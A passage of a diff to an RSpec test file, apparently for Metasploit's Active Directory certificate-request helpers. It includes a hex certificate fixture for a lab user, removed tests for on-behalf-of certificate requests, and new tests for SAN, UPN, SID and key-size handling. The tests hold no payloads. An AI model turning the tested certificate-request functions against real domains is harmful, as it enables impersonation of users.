"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \ - "\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \ - "\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \ - "\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \ - "\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \ - "\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \ - "\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \ - "\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \ - "\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \ - "\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \ - "\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \ - "\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \ - "\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \ - "\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \ - "\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \ - "\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \ - "\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \ - "\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \ - "\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \ - "\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \ - "\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \ - "\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \ - "\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \ - "\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \ - "\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \ - "\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \ - "\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \ - "\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \ - "\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \ - "\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \ - "\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \ - "\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \ - "\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \ - "\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \ - "\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \ - "\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \ - "\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \ - "\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \ - "\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \ - "\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \ - "\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \ - "\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \ - "\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \ - "\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \ - "\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \ - "\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \ - "\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \ - "\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \ - "\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \ - "\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \ - "\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \ - "\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \ - "\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \ - "\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \ - "\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \ - "\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \ - "\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \ - "\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \ - "\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \ - "\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \ - "\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \ - "\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \ - "\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ - "\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \ - "\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \ - "\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \ - "\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \ - "\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \ - "\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \ - "\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \ - "\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \ - "\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \ - "\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \ - "\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \ - "\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ - "\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \ - "\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \ - "\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \ - "\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \ - "\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \ - "\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \ - "\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \ - "\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \ - "\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \ - "\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \ - "\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \ - "\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \ - "\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \ - "\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \ - "\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \ - "\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \ - "\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \ - "\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \ - "\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \ - "\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \ - "\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \ - "\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \ - "\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \ - "\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \ - "\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \ - "\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \ - "\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \ - "\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \ - "\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \ - "\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \ - "\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \ - "\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \ - "\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \ - "\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \ - "\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \ - "\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \ - "\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \ - "\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \ - "\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \ - "\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \ - "\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \ - "\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \ - "\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \ - "\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \ - "\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \ - "\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \ - "\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \ - "\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \ - "\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \ - "\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \ - "\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \ - "\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \ - "\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \ - "\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \ - "\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \ - "\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \ - "\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \ - "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \ - "\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \ - "\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \ - "\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \ - "\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \ - "\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \ - "\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \ - "\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \ - "\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \ - "\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \ - "\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \ - "\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \ - "\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \ - "\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \ - "\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6" - ) - end - - before(:each) do - allow(driver).to receive(:input).and_return(driver_input) - allow(driver).to receive(:output).and_return(driver_output) - subject.init_ui(driver_input, driver_output) - end - - describe '#build_csr' do - let(:result) do - subject.send(:build_csr, **{ - cn: 'aliddle', - private_key: pkcs12_key - }) - end - - context 'when building' do - it 'return a Request object' do - expect(result).to be_a(OpenSSL::X509::Request) - end - - it 'should respond to #to_der' do - expect(result).to respond_to(:to_der) - end - - it 'should be correct' do - expect(result.to_der).to eq(x509_csr.to_der) + # ------------------------------------------------------------------------- + describe '.get_cert_san' do + context 'when the cert has no subjectAltName extension' do + it 'returns nil' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_san(cert)).to be_nil end end - context 'when passed a bad algorithm' do - it 'raises a RuntimeError if the algorithm does not exist' do - expect { - subject.send(:build_csr, **{ - cn: 'aliddle', - private_key: pkcs12_key, - algorithm: 'METASPLOIT' - }) - }.to raise_error(RuntimeError) + context 'when the cert has a subjectAltName extension' do + it 'returns a SubjectAltName object' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')]) + expect(described_class.get_cert_san(cert)).to be_a(Rex::Proto::CryptoAsn1::X509::SubjectAltName) end end end - describe '#build_on_behalf_of' do - context 'when building' do - let(:result) do - subject.send(:build_on_behalf_of, **{ - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key + # ------------------------------------------------------------------------- + describe '.get_cert_san_dns' do + context 'when the cert has no subjectAltName' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_san_dns(cert)).to eq([]) + end + end + + context 'when the cert has a single DNS SAN' do + it 'returns the DNS name' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')]) + expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com']) + end + end + + context 'when the cert has multiple DNS SANs' do + it 'returns all DNS names' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, DNS:other.example.com')]) + expect(described_class.get_cert_san_dns(cert)).to contain_exactly('host.example.com', 'other.example.com') + end + end + + context 'when the SAN contains a mix of DNS and non-DNS entries' do + it 'returns only the DNS names' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')]) + expect(described_class.get_cert_san_dns(cert)).to eq(['host.example.com']) + end + end + end + + # ------------------------------------------------------------------------- + describe '.get_cert_san_email' do + context 'when the cert has no subjectAltName' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_san_email(cert)).to eq([]) + end + end + + context 'when the cert has an email SAN' do + it 'returns the email address' do + cert = build_test_cert(rsa_key, extensions: [san_extension('email:alice@example.com')]) + expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com']) + end + end + + context 'when the SAN contains a mix of email and non-email entries' do + it 'returns only email addresses' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, email:alice@example.com')]) + expect(described_class.get_cert_san_email(cert)).to eq(['alice@example.com']) + end + end + end + + # ------------------------------------------------------------------------- + describe '.get_cert_san_uri' do + context 'when the cert has no subjectAltName' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_san_uri(cert)).to eq([]) + end + end + + context 'when the cert has a URI SAN' do + it 'returns the URI' do + cert = build_test_cert(rsa_key, extensions: [san_extension('URI:http://example.com')]) + expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com']) + end + end + + context 'when the SAN contains a mix of URI and non-URI entries' do + it 'returns only URIs' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com, URI:http://example.com')]) + expect(described_class.get_cert_san_uri(cert)).to eq(['http://example.com']) + end + end + end + + # ------------------------------------------------------------------------- + describe '.get_cert_msext_upn' do + context 'when the cert has no subjectAltName' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_msext_upn(cert)).to eq([]) + end + end + + context 'when the cert has a UPN otherName SAN' do + it 'returns the UPN value' do + config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.3;UTF8:alice@example.com" + cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)]) + expect(described_class.get_cert_msext_upn(cert)).to eq(['alice@example.com']) + end + end + + context 'when the SAN has an otherName with a different OID (not UPN)' do + it 'returns an empty array' do + config = "[alt_names]\notherName = 1.3.6.1.4.1.311.20.2.99;UTF8:notaupn" + cert = build_test_cert(rsa_key, extensions: [san_extension_from_config(config)]) + expect(described_class.get_cert_msext_upn(cert)).to eq([]) + end + end + + context 'when the SAN contains only a DNS entry' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')]) + expect(described_class.get_cert_msext_upn(cert)).to eq([]) + end + end + end + + # ------------------------------------------------------------------------- + describe '.get_cert_msext_sid' do + # Known DER encoding from spec/lib/rex/proto/crypto_asn1_spec.rb + # Contains SID "S-1-5-21-3402587289-1488798532-3618296993-1105" + let(:ntds_ext_der) do + "\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" \ + "\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" \ + "\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" \ + "\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35" + end + + context 'when the cert has no NTDS CA security extension' do + it 'returns nil' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_msext_sid(cert)).to be_nil + end + end + + context 'when the cert has the NTDS CA security extension' do + it 'returns the SID string' do + ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, ntds_ext_der, false) + cert = build_test_cert(rsa_key, extensions: [ntds_ext]) + expect(described_class.get_cert_msext_sid(cert)).to eq('S-1-5-21-3402587289-1488798532-3618296993-1105') + end + end + + context 'when a different extension has the same OID but wrong inner type_id' do + it 'returns nil' do + # Build a NtdsCaSecurityExt with wrong inner OID so the type_id check fails + bogus_ext_der = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: '1.2.3.4.5', + value: 'S-1-5-21-0-0-0-0' + }).to_der + ntds_ext = OpenSSL::X509::Extension.new(described_class::OID_NTDS_CA_SECURITY_EXT, bogus_ext_der, false) + cert = build_test_cert(rsa_key, extensions: [ntds_ext]) + expect(described_class.get_cert_msext_sid(cert)).to be_nil + end + end + end + + # ------------------------------------------------------------------------- + describe '.get_cert_policy_oids' do + let(:eku_extension) do + stub = OpenSSL::X509::Certificate.new + factory = OpenSSL::X509::ExtensionFactory.new + factory.subject_certificate = stub + factory.issuer_certificate = stub + factory.create_extension('extendedKeyUsage', 'clientAuth', false) + end + + let(:multi_eku_extension) do + stub = OpenSSL::X509::Certificate.new + factory = OpenSSL::X509::ExtensionFactory.new + factory.subject_certificate = stub + factory.issuer_certificate = stub + factory.create_extension('extendedKeyUsage', 'clientAuth, emailProtection', false) + end + + context 'when the cert has no policy extensions' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key) + expect(described_class.get_cert_policy_oids(cert)).to eq([]) + end + end + + context 'when the cert has extendedKeyUsage with clientAuth' do + it 'includes the clientAuth OID' do + cert = build_test_cert(rsa_key, extensions: [eku_extension]) + oids = described_class.get_cert_policy_oids(cert) + # OpenSSL returns the short name ('clientAuth') when parsing EKU DER + expect(oids.map(&:value)).to include('clientAuth') + end + end + + context 'when the cert has multiple EKU OIDs' do + it 'returns all OIDs' do + cert = build_test_cert(rsa_key, extensions: [multi_eku_extension]) + oid_values = described_class.get_cert_policy_oids(cert).map(&:value) + # OpenSSL returns short names when parsing EKU DER + expect(oid_values).to include('clientAuth') + expect(oid_values).to include('emailProtection') + end + end + + context 'when the cert has a SAN extension but no policy extensions' do + it 'returns an empty array' do + cert = build_test_cert(rsa_key, extensions: [san_extension('DNS:host.example.com')]) + expect(described_class.get_cert_policy_oids(cert)).to eq([]) + end + end + end + + # ------------------------------------------------------------------------- + describe '#do_request_cert' do + let(:icpr) { double('icpr') } + let(:csr_double) { double('csr', to_der: 'der') } + + before do + allow(subject).to receive(:create_csr).and_return(csr_double) + allow(icpr).to receive(:cert_server_request).and_return({ status: :issued }) + end + + context 'username resolution' do + it 'uses opts[:username] when provided' do + expect(subject).to receive(:create_csr).with(hash_including(username: 'alice')) + subject.send(:do_request_cert, icpr, { username: 'alice' }) + end + + it 'falls back to datastore SMBUser when opts has no username' do + subject.datastore['SMBUser'] = 'bob' + expect(subject).to receive(:create_csr).with(hash_including(username: 'bob')) + subject.send(:do_request_cert, icpr, {}) + end + end + + context 'RSA key generation' do + it 'generates a 2048-bit key by default' do + expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key) + subject.send(:do_request_cert, icpr, { username: 'alice' }) + end + + it 'uses the RSAKeySize from the datastore' do + subject.datastore['RSAKeySize'] = '4096' + allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096)) + expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key) + subject.send(:do_request_cert, icpr, { username: 'alice' }) + end + + it 'uses a private key supplied in opts without generating one' do + rsa_key # force let evaluation before stubbing + expect(OpenSSL::PKey::RSA).not_to receive(:new) + subject.send(:do_request_cert, icpr, { username: 'alice', private_key: rsa_key }) + end + + it 'passes the key to create_csr via opts' do + allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key) + expect(subject).to receive(:create_csr).with(hash_including(private_key: rsa_key)) + subject.send(:do_request_cert, icpr, { username: 'alice' }) + end + end + + context 'key size mismatch' do + let(:wrong_size_key) { OpenSSL::PKey::RSA.new(1024) } + + it 'raises ArgumentError' do + expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError, /RSA key size mismatch/) + end + + it 'logs an RSA key size mismatch error' do + expect(subject).to receive(:elog).with('RSA key size mismatch') + expect { subject.send(:do_request_cert, icpr, { username: 'alice', private_key: wrong_size_key }) }.to raise_error(ArgumentError) + end + + it 'does not call create_csr' do + expect(subject).not_to receive(:create_csr) + expect { subject.send(:do_request_cert, icpr, { 